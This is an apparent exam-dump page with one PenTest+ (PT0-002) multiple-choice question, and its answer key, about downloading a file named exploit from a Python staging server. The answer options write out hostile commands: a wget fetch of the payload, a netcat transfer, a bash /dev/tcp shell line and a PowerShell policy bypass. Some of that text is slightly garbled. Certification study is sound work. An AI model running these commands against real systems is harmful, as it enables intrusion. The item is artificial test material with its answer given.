Exam4Training

Which of the following commands could be used to download a file named exploit to a target machine for execution?

A penetration tester ran the following command on a staging server:

python Cm SimpleHTTPServer 9891

Which of the following commands could be used to download a file named exploit to a target machine for execution?
A . nc 10.10.51.50 9891 < exploit
B . powershell Cexec bypass Cf \10.10.51.509891
C . bash Ci >& /dev/tcp/10.10.51.50/9891 0&1>/exploit
D . wget 10.10.51.50:9891/exploit

Answer: D

Explanation:

Reference: https://www.redhat.com/sysadmin/simple-http-server

Latest PT0-002 Dumps Valid Version with 110 Q&As

Latest And Valid Q&A | Instant Download | Once Fail, Full Refund

Exit mobile version